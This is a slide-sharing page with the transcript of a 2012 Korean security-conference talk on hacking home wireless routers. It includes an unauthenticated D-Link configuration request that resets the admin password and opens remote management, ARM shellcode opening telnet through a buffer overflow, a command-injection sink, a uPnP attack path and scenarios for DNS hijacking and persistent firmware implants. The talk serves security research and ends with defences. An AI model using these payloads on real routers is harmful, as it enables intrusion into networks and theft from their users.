Wireless Router Hacking

Slides:



Advertisements
Similar presentations
옴니아 2 무선 인증 매뉴얼 ( 윈도우 모바일 폰 설정 동일 ). ▶다음 화면은 옴니아 2 및 윈도우모바일을 사용하는 스마트폰 기기들의 무선인증을 하기 위한 화면입니다. ▶윈도우 모바일폰의 경우 무선인증서를 발급받기 위해 폰의 레지스트리 설정을 조정해 주어야 합니다.
Advertisements

을지대학교 무선 네트워크 사용 방법 2010 년 06 월 01 일. 을지대학교 무선 네트워크 사용 방법 1. PC 무선랜 카드 활성화 및 체크 1 단계 : 시작 -> 설정 -> 네트워크 설정 2 단계 : 무선 네트워크 설정 선택 -> 마우스 버튼 오른쪽 클릭 -> 사용.
1 08 시스템 구성도 고려사항 * 웹 서버 클러스터 구성  클러스터 구축은 ㈜ 클루닉스의 Encluster 로 구축 (KT 인증,IT 인증 획득, 실제 클러스터 구축 사이트 200 여곳 )  웹 서버 클러스터는 Dynamic, Static, Image.
ReadyNAS Surveillance for x86 platform (Version ) NETGEAR.
불특정 공격에 무너진 H 사 업무 시스템 서서히 저하 내부에서 원인 불명으로 네트워크의 속도가 서서히 저하 되는 현상이 발생 공격의 발생 핵심 장 비 서비스가 되다 되지 않는 현상이 심해지고 결국 핵심 장 비는 장애가 발생하게 됨 장비 장애 발생 핵심 장비 장애 전체.
BlackVue FOTA Upgrade 사용 안내 Android App. 펌웨어 다운로드 (Server > Smart phone) 펌웨어 다운로드 (Server > Smart phone) 인터넷이 가능한 상태에 서 블랙뷰앱을 실행합니 다. 1. 블랙뷰앱 홈화면에서 [
I. 프로젝트 동기 II. 프로젝트 목표 III. 파일시스템 IV. 암호화 및 복호화 V. 인터페이스 VI. FBR READ/WRITE VII. 프로그램 흐름도 VIII. 미 구현 사항 IX. 프로젝트 기대효과 X. 프로그램 요구사항 및 팀원 역할분담 XI. 시연 XII.

단계 1 : 화면 아이콘 [설정]을 터치 합니다. 단계 2 : [WI-FI]메뉴를 터치 합니다.
Part 4 장치 관리하기 Chapter 13. 주변 장치 관리하기 Chapter 14. 하드디스크 관리하기
리눅스 관리의 신개념 Levanta Intrepid M Demo
김태원 심재일 김상래 강신택. 김태원 심재일 김상래 강신택 인터넷 통신망의 정보를 제공하는 서비스 인터넷의 자원 및 정보는 NIC가 관리 IP주소 또는 도메인으로 정보 검색 이용자 및 통신망 관한 정보를 제공.
네오플러스 인트라넷 통합인증 설정 매뉴얼.
1. 신뢰할 수 있는 싸이트 등록 인터넷 익스플로러 실행 후 실행
Chapter 6. 리눅스 백도어 황 선 환.
Android Wi-Fi Manual (Guest용)
1. Windows Server 2003의 역사 개인용 Windows의 발전 과정
윈도우7 체크 설치 매뉴얼
Windows Server 장. Windows Server 2008 개요.
SSL - VPN 사용자 가이드 - IT 지원실 네트워크 운영팀 -.
HeartBleed.
제7강 학습 내용 주소지정 방식의 예 값 즉시 지정 방식과 실행 예 레지스터 직접지정 방식 메모리 직접지정 방식과 실행 예
DPR-1630&1615 IP공유기 셋팅 방법 고객지원팀 작성자 : 정청석.
임베디드 리눅스 시스템의 기본 개념 강의 목표 내용 임베디드 리눅스 시스템의 기본 개념과 주제 제시 1. 임베디드 시스템
단계 1 : 화면 아이콘 [설정]을 터치 합니다. 단계 2 : [WI-FI]메뉴를 터치 합니다.
UNIT 06 JTAG Debugger 로봇 SW 교육원 조용수.
임베디드 리눅스 설치 및 동작 Lecture #5.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
임베디드 시스템 개론 크로스 플랫폼 설치 2일차 강의 자료 Embedded System Lab.
Matasploit의 소개와 사용법
4-1장. MySQL 제13장.
AP 모드 활용하기 WiFi 시리얼 보드 활용가이드 김영준 헬로앱스 (
Root Filesystem Porting
FTP 프로그램 채계화 박재은 박수민.
Root Filesystem Porting
부트로더와 Self Programming
뇌를 자극하는 Windows Server 장. Windows Server 2008 개요.
타이머카운터 사용법 휴먼네트웍스 기술연구소
Grade Server Team14. Attention Seeker
Cross Compiler를이용한 커널 컴파일 및 포팅
IPAD2(ios 5.0.1) 사용자 메뉴얼 Mobile Service Team.
Method & library.
시스템 인터페이스 Lab3 Unix 사용법 실습.
리눅스 시스템 & 커널 기초 P.46 – P.53 이름: nsh009 학번: 112 1/20.
㈜시스원이 제공하는 시스템 관리 통합 솔루션 SysmanagerOne Agent설치 안내서
SSH, VNC Mobile Engineering, Kyungwoon Univ. Embedded System Design.
Go Lang 리뷰 이동은.
Wi-Fi 취약점 분석 본 프로젝트는 Wi-Fi 환경에서의 취약점 분석을 위한 프로젝트로 다양한 공격방법을 테스트
Adobe 제품 다운로드 및 설치 방법 안내 Adobe Creative Cloud Adobe License 권한을 받으신 분
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
DK-128 실습 내부 EEPROM 제어 아이티즌 기술연구소 김태성 연구원
DK-128 실습 타이머카운터 사용법 아이티즌 기술연구소
ARM Development Suite v1.2
1. 인증서버 :일반유선PC( 접속“CA관리” 클릭
Packet sniffing 응용 레벨이 아닌 네트워크 디바이스 레벨에서의 데이타을 얻는 것 네트워크 상의 트래픽을 분석
PMIS 서버 설정 환경설정 작성자 : 배경환.
S-Work 2.0 DRM 신규 버전 설치 가이드 SOFTCAMP
네트워크 환경 구축과 이미지 전송 호스트/타겟 통신 직렬 통신을 이용한 이미지 전송 수퍼 데몬 BOOTP 환경 구축
Canary value 스택 가드(Stack Guard).
Chapter 27 Mobile IP.
1. Vista Wireless LAN 설정하기
발표자 : 이지연 Programming Systems Lab.
3.2 분기 명령어.
무선랜 사용자 설명서 (Windows Vista 사용자).
IPC 펌웨어 업그레이드 방법 안내 ** 반드시 IPC를 NVR POE 포트 연결 전에 작업 하시기 바랍니다. IPC를 NVR POE 포트에 연결 하실 경우 IP 대역폭을 마추셔야 하는 작업이 필요합니다. **
윤성우의 열혈 C++ 프로그래밍 윤성우 저 열혈강의 C++ 프로그래밍 개정판 Chapter 05. 복사 생성자.
FTP 스캔 설정 방법 강사 : 이성휘 대리.
CCIT 네트워크 발표 정보보호학과 평문 사이트와 SSL 사이트, SSL strip과 데이터 변조를 이용한 로그인 취약점
CHAP 15. 데이터 스토리지.
1. PortBlock 이란 RJ-45 물리 블록킹 개념 RJ-45 블록킹 Site별 전용 Key
Presentation transcript:

Wireless Router Hacking 홍정우 | B10S | Hackerschool SECUINSIDE 2012

CONTENTS 공유기의 기본개념 공유기의 구성 공유기의 기존 취약점들 IPTIME 0-Day 취약점 uPnP 를 이용한 외부 공격 ANYGATE 0-Day 취약점 공유기 취약점 활용 시나리오 대응 방안 및 향후 연구 계획

공유기의 기본개념

공유기의 기본 개념 무선 네트워크 접근 & 인터넷 공유

공유기의 기본 개념 A통신사의 명동 지역 내 Wifi

공유기의 기본 개념 A통신사의 논현동 지역 내 Wifi

공유기의 기본 개념 잠재적 피해자들

공유기의 기본 개념

공유기의 구성

공유기의 구성 펌웨어 커널, 파일시스템 하드웨어

공유기의 구성 ( 하드웨어 )

공유기의 구성 ( 하드웨어 )

공유기의 구성 ( 하드웨어 ) DRAM 네트워크 컨트롤러 마이크로 컨트롤러 FLASH 메모리 안테나 , 전원 WAN 인터페이스 LAN 인터페이스

펌웨어 커널, 파일시스템 공유기의 구성 ( 펌웨어 ) Kernel : 2.4.19 Filesystem : cramfs , squashfs , ext2 Linux Command , Directory , busybox , cgi , config….

공유기의 기존 취약점들

공유기 기존 취약점들 1) IPTIME 공유기 백도어 2) Belkin 디폴트 패스워드 3) Dlink 인증 없는 설정 4) Linksys stack overflow

공유기 기존 취약점들 2007년도에 ISSUE가 됐었음 (http://kldp.org/node/83510) 1) IPTIME 공유기 백도어 2007년도에 ISSUE가 됐었음 (http://kldp.org/node/83510) 내부 명령 실행 , 파일 열람 모두 가능 디버깅과 개발 시 편의성을 위해 만들어진 페이지

공유기 기존 취약점들 2) Belkin 디폴트 패스워드

admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd& 공유기 기존 취약점들 3) Dlink 인증 없는 설정 http://192.168.0.1/apply.cgi? admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd& remote_enable=1& remote_http_management_enable=1& remote_http_management_port=8080& remote_inbound_filter=Allow_All& remote_http_management_inbound_filter=Allow_All 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.

공유기 기존 취약점들 4) Linksys stack overflow 경계 값 체크 없이 프로그래밍

IPTIME 0-Day 취약점

③ ④ ② ① IPTIME 0-Day 취약점 악의적인 사용자 TARGET 공격 모의 공격 취약점 발견 잠재적 피해자들

IPTIME 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법 악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기

IPTIME 0-Day 취약점 펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드

IPTIME 0-Day 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP JTAG PINOUT

IPTIME 신규 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결

IPTIME 신규 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP Flash memory

IPTIME 0-Day 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP http://github.com/cyphunk/ParallelFLASHDumper

IPTIME 0-Day 취약점 ① 취약점 발견 파일시스템 추출 [root@codeache rootfs]# ls -al total 132 drwxr-xr-x 15 root root 4096 Sep 20 2011 . drwxr-xr-x 5 root root 4096 Nov 11 2011 .. drwxr-xr-x 3 root root 4096 Jun 7 00:38 bin drwxr-xr-x 6 root root 4096 Sep 20 2011 default drwxr-xr-x 2 root root 4096 Sep 20 2011 dev lrwxrwxrwx 1 root root 8 Nov 11 2011 etc -> /tmp/etc drwxr-xr-x 3 root root 4096 Sep 20 2011 home drwxr-xr-x 3 root root 4096 Sep 20 2011 lib lrwxrwxrwx 1 root root 11 Nov 11 2011 linuxrc -> bin/busybox drwxr-xr-x 2 root root 4096 Sep 20 2011 ndbin drwxr-xr-x 2 root root 4096 Sep 20 2011 plugin drwxr-xr-x 2 root root 4096 Sep 20 2011 proc drwxr-xr-x 2 root root 4096 Sep 20 2011 save drwxr-xr-x 2 root root 4096 Sep 20 2011 sbin drwxr-xr-x 2 root root 4096 Sep 20 2011 tmp drwxr-xr-x 2 root root 4096 Sep 20 2011 upgrade-bin drwxr-xr-x 5 root root 4096 Sep 20 2011 usr lrwxrwxrwx 1 root root 8 Nov 11 2011 var -> /tmp/var [root@codeache rootfs]# 펌웨어 추출 도구 : http://code.google.com/p/firmware-mod-kit/

/cgi-bin/timepro.cgi가 로드된다. IPTIME 0-Day 취약점 ① 취약점 발견 /cgi-bin/timepro.cgi가 로드된다.

IPTIME 0-Day 취약점 ① 취약점 발견 분석 가능 악의적인 사용자 모의 공격 취약점 발견 TARGET과 동일한 공유기

IPTIME 0-Day 취약점 ① 취약점 발견 DEMO

aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Stack Memory BEFORE STRCPY() Buffer AFTER STRCPY() aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa LDMFD SP, {R11 , SP , PC} R11 SP PC

Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC PC 레지스터 : 다음 실행할 명령어의 위치 프로그램 흐름을 원하는 곳으로 이동시킬 수 있다. GOOD!!!

utelnetd 구동 , iptables 에서 telnet 허용 쉘코드 IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC 쉘코드를 어디에 올릴 것인가? CGI 는 환경변수에 HTTP 데이터를 저장한다. utelnetd 구동 , iptables 에서 telnet 허용 쉘코드 User-Agent :

.ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF" IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 add r1, pc, #96 add r2, pc, #107 add r3, pc, #106 add r4, pc, #108 add r5, pc, #107 add r6, pc, #107 add r7, pc, #111 add r8, pc, #110 add r9, pc, #109 .ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF" .ascii "tcpF" .ascii "--dportF" .ascii "23F" .ascii "-jF" .ascii "ACCEPTF"

add r8, pc , #12 strb lr, [r8 , #1] mov r0, r1 , lsl lr mov r1, sp IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 stmfd sp!, {r1-r9 ,lr} add r8, pc , #12 strb lr, [r8 , #1] mov r0, r1 , lsl lr mov r1, sp mov r2, lr swi 0x90ff0b Execve 첫번 째 인자 Execve 두번 째 인자 Execve 세번 째 인자 Swi 0x90000b execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL)

IPTIME 0-Day 취약점 ② 모의 공격 취약점 발견과 공격코드 구상 공유기 시스템 내부 쉘이 있으면 동적 디버깅 가능 공격에 필요한 각종 테스트를 해야 함 gdb , strace , busybox 등 크로스 컴파일 해서 업로드 공격코드 완성 , 테스트

IPTIME 0-Day 취약점 ② 모의 공격 DEMO

IPTIME 0-Day 취약점 ③ 공격 공격에 필요한 조건 인터넷 TARGET 공격 공유기 패스워드 물리적으로 근접 잠재적 피해자들 악의적인 사용자

IPTIME 0-Day 취약점 ③ 공격 인터넷 TARGET 공격 공격에 필요한 조건 공유기의 아이피 잠재적 피해자들 악의적인 사용자

IPTIME 0-Day 취약점 ③ 공격 - uPnP 홈네트워크에서의 기기 간 인식, 통신 프로토콜

IPTIME 0-Day 취약점 ③ 공격 - uPnP 공유기에 포트매핑 요청 XML 형태로 통신

IPTIME 0-Day 취약점 ③ 공격 - uPnP 외부 uPnP 요청 허용 외부에서 원하는 포트로 접근가능 ( 80, 23)

IPTIME 0-Day 취약점 ③ 공격 - uPnP # telnet 공유기IP uPnP_Port

IPTIME 0-Day 취약점 ③ 공격 - uPnP TARGET 인터넷 23 포트 uPnP 요청 공유기 텔넷접속 가능 취약점 공격 80 포트 uPnP 요청 잠재적 피해자들 악의적인 사용자

IPTIME 0-Day 취약점 ③ 공격 – Remote Attack DEMO

ANYGATE 0-Day 취약점

③ ④ ② ① ANYGATE 0-Day 취약점 IPTIME 때와 동일 악의적인 사용자 TARGET 공격 모의 공격 취약점 발견 잠재적 피해자들

ANYGATE 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법 악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기

ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 인증절차 없이 내부 명령 실행 가능 iptables , ifconfig , ping 만 지원

ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 인증절차 없이 내부 명령 실행 가능 iptables , ifconfig , ping 만 지원

ANYGATE 0-Day 취약점 2) 특정 설정 페이지 내부 명령 실행 가능 취약점 sprintf(&src,      "-S gnudip -u %s:%s -h %s -s %s -r 10&",         dword_3AC8D + 34052,         dword_3AC8D + 34072,         dword_3AC8D + 34092,);     strcat(&szCMD, &src);     sub_14CAC("%s\n", &szCMD);     system(&szCMD); 임의의 명령을 삽입하는 것이 가능

ANYGATE 0-Day 취약점 3) 버퍼오버플로우 취약점

취약점 악용 시나리오

공유기 취약점 악용 시나리오 1) Packet Sniffing & Spoofing(악성코드 유포) www.good.site/music/song.mp3 www.attacker.com/malware.exe

공유기 취약점 악용 시나리오 2) 피싱 (DNS Hijacking) www.phising.com www.hanabank.com ID , PW 입력

공유기 취약점 악용 시나리오 3) 사내 보안 문제 사내 인트라넷 사장 영업팀 인사팀 개발팀 과장 대리 사원

공유기 취약점 악용 시나리오 4) 경유지 (VPN, Port Fowarding) 공격 대상 사이트 추적이 어려워짐

공유기 취약점 악용 시나리오 5) DDOS

공유기 취약점 악용 시나리오 5) DDOS 공격 대상 사이트

공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함. 1. 재부팅 리셋 해커가 펌웨어의 Init script 들을 수정하여 telnet , 포트매핑 등을 부팅 시에 자동으로 수행하게끔 펌웨어 리빌드 관리자 페이지에 접근이 가능하므로, 조작된 펌웨어를 수동업데이트

공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함. 2. 펌웨어 업데이트 - 수동업데이트 웹인터페이스의 업데이트 페이지를 수정하여 실제로 업데이트는 일어나지 않도록 조작

공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함. 2. 펌웨어 업데이트 - 자동업데이트 공식사이트 펌웨어 업데이트 서버 업데이트 시도 해커가 조작한 펌웨어 업데이트 서버

대응 방안 및 향후 연구 계획

1. 대응 방안 2. 향후 연구 계획 펌웨어 개발 시, 보안 프로그래밍 strcpy , sprintf , system 등과 같은 함수들은 주의해서 사용한다. 또한 설정 상 보안에 문제가 될 수 있는 부분들을 제거한다. uPnP 의 외부 연결 차단 , 공유기 자체인 localhost로의 포워딩 차단 사용자의 공유기에 대한 보안 의식 강화 ex> uPnP 서비스 강제 중단 2. 향후 연구 계획 공유기가 TCP/IP , UDP 등 Low Level 프로토콜을 처리하면서 발생할 수 있는 취약점 연구 커스터마이징된 기능들에서 발생하는 취약점 게임기 지원 , VPN , QOS 등..

Question?

감사합니다.